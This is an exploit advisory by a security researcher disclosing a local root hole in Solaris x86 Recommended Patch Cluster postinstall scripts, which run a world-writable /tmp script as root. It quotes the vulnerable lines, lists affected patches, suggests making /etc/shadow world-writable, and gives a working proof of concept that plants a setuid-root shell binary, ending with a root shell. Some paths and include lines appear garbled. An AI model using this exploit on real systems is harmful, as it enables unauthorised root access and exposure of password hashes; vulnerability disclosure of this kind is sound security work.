Solaris Recommended Patch Cluster 6/19 local root on x86

Larry W. Cashdollar
7/3/2013
@_larry0
If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based.
Local root:
Write to /tmp/diskette_rc.d/rcs9.sh before execution and you can execute commands as root.
./144751-01/SUNWos86r/install/postinstall 


782          if [ -s /tmp/disketterc.d/rcs9.sh ]
   783          then
   784                  /sbin/sh /tmp/disketterc.d/rcs9.sh "post"
   785          fi

Inject entries into driver_aliases, research config file? maybe we can load our own library/driver?
804  # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs)
   805  TMPFILE=/tmp/ncrstmp
   806  sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFIL
E
   807  cp $TMPFILE ${BASEDIR}/etc/driver_aliases


./141445-09/SUNWos86r/install/postinstall


656          if [ -s /tmp/disketterc.d/rcs9.sh ]
   657          then
   658                  /sbin/sh /tmp/disketterc.d/rcs9.sh "post"
   659          fi


Well, it looks like you've got a few chances to abuse it:


larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/rcs9.sh" {} \;
./144501-19/SUNWos86r/install/postinstall
./141445-09/SUNWos86r/install/postinstall
./142059-01/SUNWos86r/install/postinstall
./147148-26/SUNWos86r/install/postinstall
./127128-11/SUNWos86r/install/postinstall
./148889-03/SUNWos86r/install/postinstall
./142910-17/SUNWos86r/install/postinstall
./144751-01/SUNWos86r/install/postinstall

Psuedo PoC:
Depending on how rcs9.sh is created, we can either write to it repeatedly or just create the file initially with our malicious entry.
chmod 666 /etc/shadow would be easy.
PoC:
larry@slowaris:~$ cat setuid.c 
#include 
#include 
int
main (void)
{
  char *shell[2];
  shell[0] = "sh";
  shell[1] = NULL;
  setregid (0, 0);
  setreuid (0, 0);
  execve ("/bin/sh", shell, NULL);
  return(0);
}
gcc -o /tmp/r00t setuid.c
larry@slowaris:~$ cat /tmp/diskette_rc.d/rcs9.sh chown root:root /tmp/r00t chmod +s /tmp/r00t
After patches have been applied:
larry@slowaris:~$ /tmp/r00t
# id
uid=0(root) gid=0(root)